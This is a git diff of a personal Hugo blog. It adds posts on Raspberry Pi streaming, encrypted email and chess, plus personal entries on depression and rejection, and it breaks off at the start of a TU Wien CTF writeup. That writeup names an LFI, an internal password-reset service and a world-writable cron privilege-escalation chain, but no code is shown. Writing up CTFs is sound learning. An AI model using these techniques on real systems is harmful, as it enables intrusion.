Starting on microSD, graduating to SSD later + +Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards. + +The reason the `/srv` layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy `/srv` to the SSD, mount the SSD at `/srv`, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead. + +## Where this goes next + +Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep `/srv` as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.” + +For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room. + +Happy streaming. + +The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I'll write a review for it later on. It was just amazing. + + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/boredom.md.asc b/public-onion/sources/posts/boredom.md.asc new file mode 100644 index 0000000..44ffb20 --- /dev/null +++ b/public-onion/sources/posts/boredom.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY= +=/K6E +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/confusion.md b/public-onion/sources/posts/confusion.md new file mode 100644 index 0000000..ae1648b --- /dev/null +++ b/public-onion/sources/posts/confusion.md @@ -0,0 +1,12 @@ ++++ +title = 'Confusion' +date = 2026-04-02T14:15:55Z +draft = true ++++ + +I don't know the why, the how, the what to do. The day started with many questions and many statements + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/confusion.md.asc b/public-onion/sources/posts/confusion.md.asc new file mode 100644 index 0000000..fd21f2c --- /dev/null +++ b/public-onion/sources/posts/confusion.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSp/jRAAt1Yto5ZR1/V8X/HiD5+7a87JrftUZGH1jc/PuZ47vzvQ2lBg8nmPYwjF +teuCklmhq4xqGxHCW50HzGmPf6a4VKsFpXf3/1Dk8wylBvQhwXtjDUJrygMaWqB6 +LdWsJIscsApAu5kTCfw5x2+yiCug6qzwf8ociXGy7RFLcJ2BWhPNdnk2OMnL2dpl +oNPvgHbVzczQLAqx/3MI4pwBIHt0KJdpwqMrieyUbh1+CO3o4zGsiaGAQNHppGNN +JXkA3uKtr5VRnFWszWYzUbuMtCX214KuVxLMRfE96A3eU6+vgBENeBIeuIaj4jIc +7qbGMaTsWK3qM4inXHy4qkhH6q5EVrsE3YCXN13s8qWkE7M9NGBSM5Bb95iNeOah +cbzJoH6kbBXUMulGcTjVkmvL0fjpasgXf7aabB8IZE1fKQksS++6+LKhUnr9O5vY +EwKh4BIABSdL+18rsv5QRlzoQgbY+oRYPallKRjxONpN18P3Ny9qQL4kFD6EnWs1 +ByxhAw+PYYyh8WUiKs5IFCVUk4+XBrHRCbNW0B+DXn7wrvUSvv6MCyUWN0IL02On +zV5wSAYcmZm2QIprRLtFH3QiHFdR9vEDwtmHvkpLwJw1UHAIZgsqzumRwZzwTu4y +hPPWF7R4nvqjePR+1Jdt+Y4ssbde1AFMjKx323TbRAluXQdNVAc= +=Ayvy +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/cupid.md b/public-onion/sources/posts/cupid.md new file mode 100644 index 0000000..54424b9 --- /dev/null +++ b/public-onion/sources/posts/cupid.md @@ -0,0 +1,51 @@ ++++ +title = 'Cupid is so dumb' +date = 2025-11-04T19:35:16Z +draft = false ++++ + +The lyrics are being played in my brain day and night. + +"A hopeless romantic all my life" + +"Surrounded by couples all the time" + +"I guess I should take it as a sign" + +But... "I gave a second chance to Cupid" + +"But now I'm left here feelin' stupid" + +I might've given more than two chances to cupid. + +But I'm still left here felling' stupid. + +"I look for his arrows every day" + +"I guess he got lost or flew away" + +But does it matter anymore? +It shouldn't. It really shouldn't. + +Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I've been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn't told me. + +Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn't funny, idk. What I do know however is that I'm hurt. There is a bit more to the story than that, but I don't want to open it up. It's way too personal to be opened. + +The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though. + +I've been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on. + +I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough. + +I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope. + +For now all I know is that I'm stuck in MDD, and I cannot get out of it. I'm glad suicidal thoughs are off the table. I'm just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live. + +I think this is just so painful to me in the sense that I don't really have many friends that I consider as friends, and I'm being left alone from some groups that I don't necesserially wanna be a part of. But oh well, I should not care. + +Credit: Cupid by FIFTY FIFTY + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/cupid.md.asc b/public-onion/sources/posts/cupid.md.asc new file mode 100644 index 0000000..c17d430 --- /dev/null +++ b/public-onion/sources/posts/cupid.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf +CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv +YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa +2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl +HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r +ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7 +oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1 +wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm +7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9 +mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/ +91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c= +=sXgB +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/danya.md b/public-onion/sources/posts/danya.md new file mode 100644 index 0000000..199dfa9 --- /dev/null +++ b/public-onion/sources/posts/danya.md @@ -0,0 +1,43 @@ ++++ +title = 'Danya' +date = 2025-10-21T08:41:58Z +draft = false +description = "A sad note about someone I knew in the online world." ++++ + +Daniel Naroditsky has passed away. +I've never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it. + + +The occasion is grim. +However, let's remember the immense pressure he was under. +Let's remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru! + +The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don't know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense. + +I do think Danya went under so much pressure from these allegations, though. +I don't know if he ever cheated or not, but like, what's the point now? +He is gone. +He'll never be back. + +I don't know what the cause was, but I hope he didn't take his own life. +I don't know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal. + +Rest in peace, Danya. +I don't think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were. + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/danya.md.asc b/public-onion/sources/posts/danya.md.asc new file mode 100644 index 0000000..8f4e26e --- /dev/null +++ b/public-onion/sources/posts/danya.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv +YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2 +fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O +u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9 +BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2 +eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c +9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+ +NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B +Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X +xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8 +zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4= +=BEoA +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/e2ee.md b/public-onion/sources/posts/e2ee.md new file mode 100644 index 0000000..41ff0e0 --- /dev/null +++ b/public-onion/sources/posts/e2ee.md @@ -0,0 +1,142 @@ +--- +title: "Sending End‑to‑End Encrypted Email (E2EE) without losing friends" +date: 2025-10-30 +draft: false +tags: ["privacy", "email", "e2ee", "proton", "tuta", "pgp", "s/mime", "gmail cse"] +categories: ["Privacy"] +summary: "A practical, mildly opinionated guide to sending encrypted email that normal people can actually read." +ShowToc: true +TocOpen: true +--- + +If you’ve ever thought “I should really send this **securely**” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a **usable** path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over. + +> Honestly, I don't know why one would settle down for a paid option, but if you want to, then be my guest. + +## Why people *don’t* use E2EE email (and why you still should) + +Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting. + +But the **upsides** are huge: true confidentiality of message content and attachments, stronger **authenticity** (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to **hesitate** before sending, it probably matters enough to encrypt. + +I mean, generally speaking one can use e2ee for anything, and not just email, but doesn't it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you're good to go! + +## The contenders (and how they feel to use) + +### Proton Mail (consumer‑friendly, great cross‑provider story) +Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a **password‑protected message** that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it. + +**Prices (personal):** Free tier exists; paid tiers like **Mail Plus** and **Proton Unlimited** add storage, custom domains, and Proton Bridge for desktop clients. Expect **single‑digit € per month** for personal use; business plans are per‑user. +**How to use:** Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can **reply securely** in the web portal—even without an account. +**Ups:** Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user. +**Downs:** Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers. + +Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It's easy to use, and fun to show off. + +### Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption) +Tuta offers automatic E2EE between Tuta users and **password‑protected emails** to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including **subject lines**—and the whole suite is open‑source and auditable. + +**Prices (personal & business):** Free plan plus personal tiers (e.g., **Revolutionary**, **Legend**) and business tiers (**Essential/Advanced/Unlimited**). Personal is typically **low single‑digit €/month**; business is **per‑user, per‑month**. +**How to use:** Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page. +**Ups:** Max privacy posture; encrypted subjects between Tuta users; clean apps. +**Downs:** Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata. + +I was introduced to this one literally for writing this post, I had no idea it existed before. + +### Gmail with **Client‑Side Encryption** (CSE) (for organizations on Google Workspace) +If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—**keys stay with your organization**. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail. + +**Prices:** CSE is available on certain Workspace editions (e.g., **Enterprise Plus**, **Education Standard/Plus**, **Frontline Plus**). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier. +**How to use:** Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it. +**Ups:** Seamless for employees; centralized key control; good audit/compliance story. +**Downs:** Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts. + +I mean... how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won't. Not with the emails that matter to me. + +### Outlook / Apple Mail with **S/MIME** (classic enterprise path) +S/MIME uses **X.509 certificates** instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs. + +**Prices:** The tech is built in; costs come from **certificates**. Orgs often issue them internally; public CA prices vary. +**How to use:** Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail. +**Ups:** Great inside enterprises; MDM‑friendly; widely supported. +**Downs:** Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination. + +Ok. Is there that big of a difference between these and Gmail? Idk. I ain't trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so. + +### Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable) +Thunderbird bakes in **OpenPGP** and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports **protected headers/subject encryption** so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability. + +**Prices:** Free. +**How to use:** Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done. +**Ups:** Full control, open source, works with any provider via IMAP/SMTP; subject protection available. +**Downs:** Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time. + +This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don't have iOS app which sucks, idk about Android. + +### Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail) +If you’re welded to webmail, add‑ons can meet you where you live. **Mailvelope** brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. **FlowCrypt** focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options. + +**Prices:** Mailvelope is free/open‑source. FlowCrypt has a generous free tier with **paid enterprise features** for teams. +**How to use:** Install the extension → create/import keys → compose in a secure editor injected into your webmail. +**Ups:** Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail. +**Downs:** Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client. + +Just no. Don't trust add-ons. Please. + +## So… which should *you* use? + +If you need to send a one‑off encrypted message to a **non‑technical person**, Proton or Tuta’s **password‑protected email** is the friendliest: they click a link, enter the password you shared elsewhere, and can **reply securely** even without an account. For a **company already on Google Workspace**, turn on **Gmail CSE** so people don’t juggle keys. If you’re a **power user** or want provider‑agnostic control, go with **Thunderbird OpenPGP**—it’s free, modern, and interoperable. And if you won’t leave the web, try **Mailvelope** or **FlowCrypt** to bolt E2EE onto the inbox you already use. + +Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead. + +## A note on what E2EE hides (and what it doesn’t) + +End‑to‑end encryption protects the **body** and **attachments**. Across the wider email network, **metadata like From/To and delivery timestamps** remain visible by design. Subjects may also be visible unless your tools use **protected headers** (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide *everything*, email might not be the right tool—reach for Signal or Matrix instead. + +## Quick price & fit-at-a-glance + +| Option | Best fit | Personal price vibe | Notes | +|---|---|---|---| +| Proton Mail | Everyday private email + easy messages to anyone | Free; personal paid tiers in **single‑digit €/mo**; business per‑user | Password‑protected emails to non‑Proton; PGP support | +| Tuta | Privacy‑max email; encrypted subjects in‑ecosystem | Free; personal low **€/mo**; business per‑user | Password‑protected emails to non‑Tuta; open source | +| Gmail CSE | Orgs on Google Workspace | Included with **Enterprise Plus/Education/Frontline** editions | Admin setup + external‑recipient flow | +| S/MIME (Outlook/Apple Mail) | Enterprises with IT/MDM | Software built‑in; **cert costs vary** | Smooth inside one org; cert exchange needed across orgs | +| Thunderbird OpenPGP | Provider‑agnostic power users | Free | Can encrypt subjects via protected headers | +| Mailvelope / FlowCrypt | Must stay on webmail | Free / **paid enterprise** options | PGP in the browser; good stepping stone | + +## The 60‑second starter packs + +**Proton/Tuta for one‑offs:** create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed. + +**Thunderbird for everything else:** install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss. + +--- + +## **Shower thoughts** + +So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don't know why it isn't already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us. + +A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don't trust them. + +The question I had was different. +Assuming that the service is reliable, why can't we use it and protect ourselves while doing so? + +In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly "untrusted" medium, why wouldn't you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it's a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let's not go that extreme. +Also if many do it, it's hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone. + +Idk how stupid the thing I'm suggesting is, but I wonder if it can be done or not. I don't know if I'm willing to spend my free time on it or not, but I though I should share the idea to at least know if it's stupid and wrong or not. + + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/e2ee.md.asc b/public-onion/sources/posts/e2ee.md.asc new file mode 100644 index 0000000..479894c --- /dev/null +++ b/public-onion/sources/posts/e2ee.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2 +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6 +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y= +=R0VX +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/face_of_rejection.md b/public-onion/sources/posts/face_of_rejection.md new file mode 100644 index 0000000..8df50f0 --- /dev/null +++ b/public-onion/sources/posts/face_of_rejection.md @@ -0,0 +1,88 @@ ++++ +title = 'Face of Rejection' +date = 2026-05-10T22:46:10Z +draft = false ++++ + +Now that I've had some time to process, I think it's good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f\*\*\* our interactions were, they were not of any use for me. +Like what's the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother's social cycle. +I don't know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm... ok, it still doesn't make sense. +Let me think if I can say it better or not. +Ok, let's say you this person X. +Imagine you interact with person X, talk to them, etc., but then that's it, it is limited to "talking". +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it's fun for many many people, but me... +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don't want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn't seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn't the case, but I'm too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection. + +Now the interesting part is my reaction. "Withdrawal". +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just.... sad. + +Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let's be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don't care how you define friendship. +If it isn't mutual, it isn't good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go. + +I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other's social circle, which to be honest came out super wrong :)))))) +I wasn't trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn't know how to put this into words. +And I did not do it correctly it seems as I got "rejected". +But as my friend says, "better a sad ending, than a never ending sadness". +I wansn't trying to ask her out, but my social skills are so bad that it came so so wrongly. + +I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don't keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I'm not being helped. +If I'm being kept at arms distance. +If I'm being isolated. +I'm no docker process who should be kept isolated. +I'm the kernel module. + +This came out weird coming from me, but it is what it is :) +I should, and need to say "I" sometimes. +I need to assert dominance, to show I'm in control, to show I'm happy, to show everything is fine. + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/face_of_rejection.md.asc b/public-onion/sources/posts/face_of_rejection.md.asc new file mode 100644 index 0000000..3faa083 --- /dev/null +++ b/public-onion/sources/posts/face_of_rejection.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSq7nRAAoHcoeGwQcuv/tZC3mF3UcoYP9wakYBqbU08NlW79pd5Xb7fE8rAuRWvu +8GVoIqWq+TyIlyGxeimCQODf+XsGefNSM9vGAkBHSVeLoKDyGE0/lpHJGwM7xFjd +a2HnGbMq/jU5hJQC1R4L6tccfIlMXi59t5FXkZLsA9wkK13bXMzeL1PGNX/rW/nK +8hL89tHEzIc2dak/hjvuWH+yGSFHKfKdu3A5WrrylYrVIwoD87ReQ0htCph0rmKX +5SBo89MZ1ba4zBrZCGDFzVPX3l/TtGrBncN+YBSAXuu1FO8ZY6+99aEDsR7ZSjun +S0tjoIj4h4ee0AguQEahAJpiw43Z+1h35H56M9mugtlj74CO5Sp5I2r/0IMB21To +ygyAe7qC9NRu9w/BYUcadtZzOBWTStXS2y+mJrquevbACf41b6R+xyy+ynpYcNGh +44nxVQtHCTsqRBnAmBaI9rYMz2QJLenYDwylOV3ewPIgiL0VgGcoK+SzEou6Mwkl +qGSqWbOL93xL4RiiFIaua9LWF2YMWusV+2udyzLhCQkXQPkukT/zDTQ9CU/IekMw +3viSmHIulux1JoC3Y34bDKZcF6bborwthT+oG6K7BgMkQ9TzwFDpEsmycmBfUlNG +I6nDwjp4PGAC5JdfOaXbPLBoSz7tB65Hv2TrZaPCKdhr5hfkmV8= +=hVGo +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/g00_tuw_measurement_ctf.md b/public-onion/sources/posts/g00_tuw_measurement_ctf.md new file mode 100644 index 0000000..449e2cd --- /dev/null +++ b/public-onion/sources/posts/g00_tuw_measurement_ctf.md @@ -0,0 +1,455 @@ +--- +title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job" +date: 2026-06-05T12:00:00Z +draft: false +tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"] +categories: ["CTF", "Security"] +toc: true +summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of." +--- + +> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends. + +This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain. + +Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper: + +1. Collect every `passwd_part` file sitting in user home directories. +2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`). + +Simple. Boring. Except Klaus was clearly in charge of this VM. + +--- + +## 0) The lay of the land + +**Target:** `g00.tuw.measurement.network` + +From the outside you mostly see three faces of the same machine: + +| Host | What it is | +|------|------------| +| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** | +| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter | +| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet | + +Users on the box (from `/etc/passwd` via LFI): `user1`–`user4`, `monitoring`, 